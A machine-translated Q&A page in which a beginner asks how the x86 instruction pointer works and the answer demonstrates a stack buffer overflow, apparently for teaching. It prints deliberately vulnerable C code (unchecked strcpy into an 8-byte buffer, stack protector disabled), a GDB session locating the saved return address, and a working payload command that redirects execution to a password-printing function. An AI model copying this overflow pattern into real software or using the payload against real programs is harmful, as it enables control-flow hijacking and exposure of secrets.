了解EIP(RIP)寄存器的工作原理?

问题描述 投票:4回答:1

我是计算机体系结构和处理器/内存级别的基础知识的新手。我先说。我对计算机所做的工作几乎始终处于高级编程级别。 C ++,Java等。

话虽如此,我目前正在读一本书,该书开始深入研究低级编程内容,汇编,寄存器,指针等。我很难理解EIP寄存器的工作原理。

根据书中所说,每个内存地址都有一个字节,而每个字节都有一个内存地址。

根据我正在阅读的有关EIP寄存器的内容,它指向处理器要执行的下一组指令。在使用调试工具(GDB)进行本书学习时,如果要检查特定位置的内存,请说:

x / 8xb,据称它使您可以检查内存地址的前8个字节。但是,如果每个内存地址只有1个字节,我听不懂。有人可以帮我理解吗?我一直在寻找关于此寄存器的工作原理和功能的详尽解释,但我真的找不到任何东西

assembly x86 gdb cpu-registers computer-architecture
1个回答
0
投票

根据书中所说,每个内存地址都有一个字节,并且每个字节都有一个内存地址。

那似乎是一台8位计算机,这不是我们通常的真实情况。例如,如果我们看某个程序:

#include <stdio.h>
#include <string.h>

char * pwd = "pwd0";

void print_my_pwd() {
  printf("your pwd is: %s\n", pwd);
}

int check_pwd(char * uname, char * upwd) {
  char name[8];
  strcpy(name, uname);

  if (strcmp(pwd, upwd)) {
    printf("non authorized\n");
    return 1;
  }
  printf("authorized\n");
  return 0;
}

int main(int argc, char ** argv) {
  check_pwd(argv[1], argv[2]);
  return 0;
}

我可以构建它并使用gdb进行检查。

$ make
gcc -O0 -ggdb -o main main.c -fno-stack-protector
$ gdb main
GNU gdb (Ubuntu 8.2-0ubuntu1~18.04) 8.2
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from main...done.
(gdb) b check_pwd
Breakpoint 1 at 0x76c: file main.c, line 12.
(gdb) run joe f00b4r42
Starting program: /home/developer/main joe f00b4r42
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, check_pwd (uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42") at main.c:12
12    strcpy(name, uname);
(gdb) info frame
Stack level 0, frame at 0x7fffffffd6d0:
 rip = 0x55555555476c in check_pwd (main.c:12); saved rip = 0x5555555547ef
 called by frame at 0x7fffffffd6f0
 source language c.
 Arglist at 0x7fffffffd6c0, args: uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42"
 Locals at 0x7fffffffd6c0, Previous frame's sp is 0x7fffffffd6d0
 Saved registers:
  rbp at 0x7fffffffd6c0, rip at 0x7fffffffd6c8

[您在上面看到saved rip(指令指针)位于0x7fffffffd6c8,其值为0x5555555547ef(其位置与位置之间的重要差异)。我可以故意使程序溢出以用我知道的其他方式覆盖此值:

(gdb) p &name
$1 = (char (*)[8]) 0x7fffffffd6b8
(gdb) p &print_my_pwd
$2 = (void (*)()) 0x55555555473a <print_my_pwd>
(gdb) Quit

现在我知道namerip之间的距离(不是值,而是它们的位置):0x7fffffffd6c8-0x7fffffffd6b8 =16。因此,我将16个字节写入name的位置,以便将其写入值rip的位置,我写的是print_my_pwd的位置,该位置是UUUUG:,并且向后,因为它是低端计算机:

$ ./main $(python -c "print 'AAAAAAAAAAAAAAAA:GUUUU'") B
non authorized
your pwd is: pwd0
Segmentation fault (core dumped)
$  

如您所见,输入导致溢出,并覆盖了指令指针的值,并使指令指针跳至打印密码的函数的位置。

[在现实生活中不要编写这样的代码,但希望它有助于理解当您不检查输入范围时它是如何工作和不工作的。

© www.soinside.com 2019 - 2024. All rights reserved.